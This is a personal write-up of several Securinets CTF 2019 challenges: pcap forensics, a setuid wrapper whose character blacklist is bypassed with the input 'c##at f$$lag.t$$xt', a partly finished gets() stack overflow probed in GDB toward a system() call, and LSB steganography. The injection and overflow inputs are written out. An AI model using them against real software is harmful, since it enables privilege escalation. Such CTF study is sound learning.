This week, there was tencent Ctf and Securinets Ctf. I focused more on Securinets Ctf
Forensics
Easy Trade
- Challenge
- Some n00bs exachanged flag through the network. Find the flag. Given a pcap file. Pcap file would be found at the (repo)[https://github.com/Srinivas11789/SecurityNuggets/tree/master/captureTheFlag/Forensics/SecurinetsCtf2019/easyTrade]
- Steps:
Diving into the PcapFile - a covert TCP chat is evident from the TCP data from wireshark
- Going through the conversation, there is a message claiming to send a zip file through port 4444
Follow TCP Stream
for packet with 4444 port and save the PK zip data in theRaw
form. (The PK Zip file magic numbers are evident in ascii coversion but save them as raw)
- The zip file is password encrypted hence looking more into this conversation we get the key
- Flag
srimbp:Desktop sri$ unzip s.zip
Archive: s.zip
[s.zip] flag.txt password:
extracting: flag.txt
srimbp:Desktop sri$ cat flag.txt
c2VjdXJpbmV0c3s5NTRmNjcwY2IyOTFlYzI3NmIxYTlmZjg0NTNlYTYwMX0
srimbp:Desktop sri$ python
Python 2.7.15 (default, Jan 12 2019, 21:07:57)
[GCC 4.2.1 Compatible Apple LLVM 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64.b64decode("c2VjdXJpbmV0c3s5NTRmNjcwY2IyOTFlYzI3NmIxYTlmZjg0NTNlYTYwMX0==")
'securinets{954f670cb291ec276b1a9ff8453ea601}'
>>>
Pwn
Welcome
- Challenge
- Steps
- SSH and do some recon on the files
root@kali:~/Downloads# ssh welcome@51.254.114.246
load pubkey "/root/.ssh/id_rsa": invalid format
The authenticity of host '51.254.114.246 (51.254.114.246)' can't be established.
ECDSA key fingerprint is SHA256:3eQMDCWH3uVdTyUs4Y0N1DdTKHQyX9ETcdc6RJAkYaE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '51.254.114.246' (ECDSA) to the list of known hosts.
welcome@51.254.114.246's password:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sun Mar 24 00:43:33 2019 from 79.54.149.188
$ ls
flag.txt welcome welcome.c wrapper wrapper.c
$ cat flag.txt
cat: flag.txt: Permission denied
$ ./welcome
-sh: 5: ./welcome: Permission denied
$ chmod +x welcome
-sh: 7: chmod: not found
$ pwd
/home/welcome
$
$ ls -ltr
total 40
-rw-r----- 1 root root 175 Mar 23 12:27 welcome.c
-r--r--r-- 1 welcome-cracked welcome 8712 Mar 23 19:09 welcome
-rw-r--r-- 1 root root 1741 Mar 23 20:13 wrapper.c
-r-sr-x--- 1 welcome-cracked welcome 13088 Mar 23 20:13 wrapper
-r--r-x--- 1 welcome-cracked welcome-cracked 76 Mar 23 20:23 flag.txt
$ whoami
welcome
$ ./wrapper
Welcome to Securinets Quals CTF o/
Enter string:
asda
sh: 1: asda: not found
$
-
It is evident that there is no permission to any files other than wrapper which can be executed by the welcome user.
- Examine the
wrapper.c
for any exploits.- Wrapper.c
- Input: String
- Output: String to Shell command with System() call
- Operation: Input validation –? Has a predefined blacklist and whitelists the strings by deleting potenital bad characters.
- Wrapper.c
Exploit:
Before examining the complete code ( the outline suggests deleting some characters that look like a blacklist)- Let’s try some dummy characters (potential blacklist) inbetween command characters that would allow payload construction while the validation is performed.
c##at ==> cat
after validation
- Do some tests (bruteforce by having print statements in wrapper.c)
root@kali:~/Downloads# ./wrap
Welcome to Securinets Quals CTF o/
Enter string:
c##at flag.txt
cat: -: Bad file descriptor
cat: closing standard input: Bad file descriptor
Execuring... cat root@kali:~/Downloads# ./wrap
Welcome to Securinets Quals CTF o/
Enter string:
c##at f##lag.txt
cat: 'f##lag.[~'$'\374\377\177': No such file or directory
Execuring... cat f##lag.[~��root@kali:~/Downloads# vi wrapper.c
root@kali:~/Downloads# ./wrap
Welcome to Securinets Quals CTF o/
Enter string:
c##at f##laf
Execuring... cat f##laf
cat: f##laf: No such file or directory
sh: 2: : not found
root@kali:~/Downloads# ./wrap
Welcome to Securinets Quals CTF o/
Enter string:
c##at f##lag
Execuring... cat f##lag
cat: f##lag: No such file or directory
sh: 2: : not found
root@kali:~/Downloads# ./wrap
Welcome to Securinets Quals CTF o/
Enter string:
c##at flag
cat: ''$'\236''N'$'\177': No such file or directory
Execuring... cat �Nroot@kali:~/Downloads# ./wrap
Welcome to Securinets Quals CTF o/
Enter string:
c##at f$lag
Execuring... cat fag
cat: fag: No such file or directory
root@kali:~/Downloads# ./wrap
Welcome to Securinets Quals CTF o/
Enter string:
c##at f$$lag
Execuring... cat flag
cat: flag: No such file or directory
sh: 2: : not found
root@kali:~/Downloads# ./wrap
Welcome to Securinets Quals CTF o/
Enter string:
c##at f$$lag.txt
cat: 'flag.s'$'\330\030\377\177': No such file or directory
Execuring... cat flag.s��root@kali:~/Downloads# ./wrap
Welcome to Securinets Quals CTF o/
Enter string:
c##at f$$lag.t$$xt
Execuring... cat flag.txt
- Flag
$ ./wrapper
Welcome to Securinets Quals CTF o/
Enter string:
c##at f##lag.txt
cat: f##lag.time: No such file or directory
$ ./wrapper
Welcome to Securinets Quals CTF o/
Enter string:
c##at f$$lag.t$$xt
securinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}
$
backToBasics
-
I dozed off after working on this for a while and the ctf was over. So no flag as the services were broght down…
-
SSH and Intial recon. Exploiting basic binary should be the way to go obviously.
root@kali:~/Downloads# ssh basic@51.254.114.246
load pubkey "/root/.ssh/id_rsa": invalid format
basic@51.254.114.246's password:
Last login: Sun Mar 24 12:46:22 2019 from 219.100.84.160
WARNING WARNING WARNING!!!!
***************************
* You have been hacked!! *
***************************
basic@vps614257:~$ ls
basic flag.txt main.c
basic@vps614257:~$ ls -ltr
total 20
-rw------- 1 root root 408 Mar 24 00:25 main.c
-r--r----- 1 basic-cracked basic-cracked 27 Mar 24 00:28 flag.txt
-r-sr-x--- 1 basic-cracked basic 8928 Mar 24 00:31 basic
basic@vps614257:~$ cat flag.txt
cat: flag.txt: Permission denied
- Using GDB to test –>
Buffer overflow
- Identify exact overflow size for the crash to perform overwrite.
basic@vps614257:~$ gdb ./basic
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./basic...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x0000000000400680 <+0>: push %rbp
0x0000000000400681 <+1>: mov %rsp,%rbp
0x0000000000400684 <+4>: push %rbx
0x0000000000400685 <+5>: sub $0x88,%rsp
0x000000000040068c <+12>: mov $0x0,%eax
0x0000000000400691 <+17>: callq 0x400500 <geteuid@plt>
0x0000000000400696 <+22>: mov %eax,%ebx
0x0000000000400698 <+24>: mov $0x0,%eax
0x000000000040069d <+29>: callq 0x400500 <geteuid@plt>
0x00000000004006a2 <+34>: mov %ebx,%esi
0x00000000004006a4 <+36>: mov %eax,%edi
0x00000000004006a6 <+38>: mov $0x0,%eax
0x00000000004006ab <+43>: callq 0x400530 <setreuid@plt>
0x00000000004006b0 <+48>: lea -0x90(%rbp),%rax
0x00000000004006b7 <+55>: mov %rax,%rdi
0x00000000004006ba <+58>: mov $0x0,%eax
0x00000000004006bf <+63>: callq 0x400520 <gets@plt>
0x00000000004006c4 <+68>: mov $0x0,%eax
0x00000000004006c9 <+73>: add $0x88,%rsp
0x00000000004006d0 <+80>: pop %rbx
0x00000000004006d1 <+81>: pop %rbp
0x00000000004006d2 <+82>: retq
End of assembler dump.
(gdb) run <<< $(python -c "print 'A'*5000")
Starting program: /home/basic/basic <<< $(python -c "print 'A'*5000")
Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()
(gdb) run <<< $(python -c "print 'A'*500")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*500")
Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()
(gdb) run <<< $(python -c "print 'A'*100")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*100")
[Inferior 1 (process 9908) exited normally]
(gdb) run <<< $(python -c "print 'A'*150")
Starting program: /home/basic/basic <<< $(python -c "print 'A'*150")
[Inferior 1 (process 14127) exited normally]
(gdb) run <<< $(python -c "print 'A'*200")
Starting program: /home/basic/basic <<< $(python -c "print 'A'*200")
Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()
(gdb) run <<< $(python -c "print 'A'*180")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*180")
Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()
(gdb) run <<< $(python -c "print 'A'*170")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*170")
Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()
(gdb) run <<< $(python -c "print 'A'*160")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*160")
Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()
(gdb) run <<< $(python -c "print 'A'*155")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*155")
Program received signal SIGSEGV, Segmentation fault.
0x00007f8300414141 in ?? ()
(gdb) run <<< $(python -c "print 'A'*153")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*153")
Program received signal SIGSEGV, Segmentation fault.
0x00007f873bfb0043 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) run <<< $(python -c "print 'A'*150")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*150")
[Inferior 1 (process 3217) exited normally]
(gdb) run <<< $(python -c "print 'A'*151")
Starting program: /home/basic/basic <<< $(python -c "print 'A'*151")
[Inferior 1 (process 6765) exited normally]
(gdb) run <<< $(python -c "print 'A'*152")
Starting program: /home/basic/basic <<< $(python -c "print 'A'*152")
Program received signal SIGSEGV, Segmentation fault.
0x00007f870334e800 in __libc_start_main (main=0x400680 <main>, argc=1, argv=0x7fffd3f77238, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffd3f77228) at ../csu/libc-start.c:285
285 ../csu/libc-start.c: No such file or directory.
(gdb) i r
rax 0x0 0
rbx 0x4141414141414141 4702111234474983745
rcx 0x7f87036f28e0 140217854929120
rdx 0x7f87036f4790 140217854936976
rsi 0xb490a8 11833512
rdi 0x7fffd3f77158 140736749597016
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffd3f77160 0x7fffd3f77160
r8 0xb490a9 11833513
r9 0x4141414141414141 4702111234474983745
r10 0x4141414141414141 4702111234474983745
r11 0x246 582
r12 0x400550 4195664
r13 0x7fffd3f77230 140736749597232
r14 0x0 0
r15 0x0 0
rip 0x7f870334e800 0x7f870334e800 <__libc_start_main+192>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
- Info about which address to jump
(gdb) info functions
...
...
0x00000000004004b0 _init
0x00000000004004e0 strlen@plt
0x00000000004004f0 system@plt
0x0000000000400500 geteuid@plt
0x0000000000400510 __libc_start_main@plt
0x0000000000400520 gets@plt
0x0000000000400530 setreuid@plt
0x0000000000400550 _start
0x0000000000400580 deregister_tm_clones
0x00000000004005c0 register_tm_clones
0x0000000000400600 __do_global_dtors_aux
0x0000000000400620 frame_dummy
0x0000000000400646 funcc
0x0000000000400657 ff
0x0000000000400680 main
0x00000000004006e0 __libc_csu_init
0x0000000000400750 __libc_csu_fini
0x0000000000400754 _fini
0x00007f87036f8a70 __libc_memalign@plt
0x00007f87036f8a80 malloc@plt
0x00007f87036f8a90 calloc@plt
0x00007f87036f8aa0 realloc@plt
0x00007fffd3faaa10 __vdso_clock_gettime
0x00007fffd3faaa10 clock_gettime
0x00007fffd3faac80 __vdso_gettimeofday
0x00007fffd3faac80 gettimeofday
0x00007fffd3faade0 __vdso_time
0x00007fffd3faade0 time
0x00007fffd3faae00 __vdso_getcpu
...
...
funcc
looks promising with a system command being executed. Probably get shell and execute cat flag.
(gdb) disas funcc
Dump of assembler code for function funcc:
0x0000000000400646 <+0>: push %rbp
0x0000000000400647 <+1>: mov %rsp,%rbp
0x000000000040064a <+4>: mov $0x400764,%edi
0x000000000040064f <+9>: callq 0x4004f0 <system@plt>
0x0000000000400654 <+14>: nop
0x0000000000400655 <+15>: pop %rbp
0x0000000000400656 <+16>: retq
End of assembler dump.
- Add dummy payload
(gdb) run <<< $(python -c "print 'A'*151+'BBBBBBB'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*151+'BBBBBBB'")
Breakpoint 1, 0x00000000004006bf in main ()
(gdb) c
Continuing.
Breakpoint 2, 0x00000000004006c4 in main ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
- Dozed off…. after this and server was down when I checked back again. Hopefully possibly the right direction?
Miscellaneous
Hidden
-
This was very wasy. A web page which had nothing but a text
flag is somewhere here
, looking at the source code did not reveal anything. -
Looking at the Certificate gave the flag.
EZ
- Challenge
- Given a Picture (usual forensics) with the flag hidden somewhere
- Given
-
Hints were that it was easy and once you obtiain the word, sha1 hash the word –> which is the flag.
-
Steps
-
Usual file, exiftool, pngcheck, binwalk, some steg tools revealed nothing. Every attempt at it was failure. So I wondered that the picture should contain some information visually.
- Used GIMP to apply layers and enhance the image.
- Brightened, Enhanced, Added different layers, Inverted, Sampled –> I, by default assumed the picture contained some code and flag should be there
- I started reading the code and found some strings. It was a game code containing some
secret level
–> Obtained some strings likeSKY1
,SKYFLATNAME
,SKY2
,SKY3
and a number of codes like ga_victory. Hashing all potential strings for the flag was in vain. I spent a lot of time on this feeling close to the answer and was hitting only failures.
-
I referred to abundant resources and tried different stuff. Alas the secret of a ctf helped
once deep into a particular technique and after a number of failure --> retract back to the start and retry as a n00b...
-
Some references below of different techniques/tools tried.
- Finally the tool
zsteg
returned some string which was unusual. Looks like something is hidden in the LSBs of the pixels.
-
root@kali:/Downloads# zsteg pic.png b1,rgb,lsb,xy ..
text: "--START--\n"The fact is that upon his entrance I had instantly recognized the extreme\npersonal danger in which I lay. The only
conceivable escape for him lay in silencing\nmy tongue. In an instant I had slipped the revolver from the drawer into my\npocket and"
b2,b,msb,xy ..
text: "_uW}W}W}" b3,b,lsb,xy .. file: very old 16-bit-int big-endian archive b4,r,lsb,xy .. text: "\nvvwgffwfwvwgg" b4
g,lsb,xy ..
text:
"gwvwvffwvgvfggfvwgvfvgfgvgffvwfvwgfvfgvvwwvfwgfwfgvgvgffwgffffffwgfffgfgvwvfwgvfwwfwvwfgvwvfwgvffgvfvwffwgvwvwvfggffvgfgwgfffgvfwgvfvgffwgfwwgfgwgfffgvfwwvfvgfffgvgwgffvwvgvwvfvgfgwgvfvwfgvwfffgvgvgffwwvfwgfvfgfgfgffwgvgvwfgvvffwwfvwwvgvwvgfffgfgfgfgfgvwvf" b4,b,lsb,xy ..
text:
"wfgggfgfgffwffwfvfffwfggwfgwvfgfvfgfvggfwfvfvfggvfgvwgwgwfwgvfffvfgfvfgvvgggwggvvfgfwfwwwfwwvfgfvggvwfggvggfwfggfgggvgwwwfgvvfggwfwgvfgwwfggvfggvfgwvfggvfvfgfggvfwvwgffvfwvvfgwwfgfwfffwgwgvgggvfwwvfgvvfffwfgwvfgvvgwwwfgvvfgvwfwwvfgfwfwgwffvvfgvvfgvvfgvvggg" b4,rgb,lsb,xy
..
text: "ogWef&vfFmw" b4,rgb,msb,xy .. text: "`vnovng>" b4,bgr,lsb,xy .. text: "ogVev&ffG}g"
root@kali:/Downloads#
- Extracting LSB of Pixels RGB from the picture
(ssss) root@kali:~/Downloads# cat stego.py
#!/usr/bin/env python
# Reference: https://www.boiteaklou.fr/Steganography-Least-Significant-Bit.html
from PIL import Image import binascii
def lsb_extract(img):
# Open image
image = Image.open(img)
extracted = ''
# Load
pixels = image.load()
# Iterate over pixels of all the rows and columns
# * Each pixel has (r, g, b) values
# - black ==> (1,1,1)
# - white ==> (0,0,0)
for y in range(0, image.height):
for x in range(0, image.width):
r,g,b = pixels[x,y]
# The last bit or least significant bit
extracted += bin(r)[-1]
extracted += bin(g)[-1]
extracted += bin(b)[-1]
chars = []
for i in range(int(len(extracted)/8)):
byte = extracted[i*8:(i+1)*8]
chars.append(chr(int(''.join([str(bit) for bit in byte]), 2)))
chars = ("".join(chars)).split(" ")
for c in range(len(chars)):
if "END" in chars[c]:
print(" ".join(chars[:c+1]))
lsb_extract("pic.png")
(ssss) root@kali:~/Downloads# python3 stego.py
--START-- "The fact is that upon his entrance I had instantly recognized the extreme personal danger in which I lay. The only
conceivable escape for him lay in silencing my tongue. In an instant I had slipped the revolver from the drawer into my pocket and
was covering him through the cloth. At his remark I drew the weapon out and laid it cocked upon the table. He still smiled and
blinked, but there was something about his eyes which made me feel very glad that I had it there, "You evidently don't know me,'
said he. "'On the contrary,' I answered, 'I think it is fairly evident that I do. Pray take a chair. I can spare you five minutes if
you have anything to say.' "'All that I have to say has already crossed your mind,' said he. "'Then possibly my answer has crossed
yours,' I replied. "'You stand fast?' "'Absolutely.' "He clapped his hand into his pocket, and I raised the pistol from the table.
But he merely drew out a <DETELED_WORD> in which he had scribbled some dates. "You crossed my path on the fourth of January,' said
he. 'On the twenty-third you incommoded me; by the middle of February I was seriously inconvenienced by you; at the end of March I
was absolutely hampered in my plans; and now, at the close of April, I find myself placed in such a position through your continual
persecution that I am in positive danger of losing my liberty. The situation is becoming an impossible one.' "'Have you any
suggestion to make?' I asked. "'You must drop it, Mr. Holmes,' said he, swaying his face about. 'You really must, you know.'"
--END--;o¶Ûÿ¶ß}þßý¶û·ûo¿ûï·Ûo¿ûm¿ßo¿ûï·Ûÿ¶Ûí¿ßí·Ûo¿Û}¿ûo¶Ûm¶Ûm¶Ûm¿Ûm¶ûÿ·ûm¶ûm÷Û}¶Ûm¶Ûm¶Ûm¶Ûm·Ûm¶Ûm¶Ûm¶Ûm¶Ûm¶ßÿ¶Û
¶Ûm¶Ûm¶Ûÿ¶ßÿ¶Ûm¶Ûm¶ßo¾ßm÷ßm¶
-
Still, using the
sha1(<DETELED_WORD>)
did not work. Using dates as puzzle solving for the word and hashing them did not work. Luckily when searching online for the dialogue –> it turns out to be a dialgoue from sherlock holmes book -
Referring the same dialogue from the book in google result
"He clapped his hand into his pocket, and I raised the pistol from the table. But he merely drew out a memorandum-book in which he had scribbled some dates"
- Finally,
sha1("memorandum-book")
was the flag!
References
* https://github.com/Ghirensics/ghiro
* https://www.gimp.org/tutorials/ContrastMask/
* https://github.com/apsdehal/awesome-ctf#steganography-1
* https://www.sitepoint.com/easily-remove-white-or-black-backgrounds-with-blending-sliders-in-photoshop/
* https://medium.com/bugbountywriteup/meepwn-ctf-quals-2018-writeup-part-1-ab216bbf0b35
* https://pastebin.com/46VmzrRU
* https://github.com/ctfs/write-ups-2014/blob/master/plaid-ctf-2014/doge-stege/change_palette.py
* https://github.com/ctfs/write-ups-2014/tree/master/plaid-ctf-2014/doge-stege
* https://pinetools.com/change-image-saturation
* https://29a.ch/photo-forensics/#pca
* https://asecuritysite.com/forensics/png
* http://www.imageforensic.org/
* https://www.slideshare.net/CysinfoCommunity/image-png-forensic-analysis
* https://github.com/ragibson/Steganography
* https://pequalsnp-team.github.io/cheatsheet/steganography-101
* https://github.com/syvaidya/openstego/releases
* https://github.com/quangntenemy/Steganabara
* https://subscription.packtpub.com/book/networking_and_servers/9781784392932/6/ch06lvl1sec53/extracting-messages-hidden-in-lsb
* http://blog.justsophie.com/image-steganography-in-python/
* https://hackernoon.com/simple-image-steganography-in-python-18c7b534854f
* https://www.cybrary.it/0p3n/hide-secret-message-inside-image-using-lsb-steganography/
* https://www.geeksforgeeks.org/image-based-steganography-using-python/
* https://www.boiteaklou.fr/Steganography-Least-Significant-Bit.html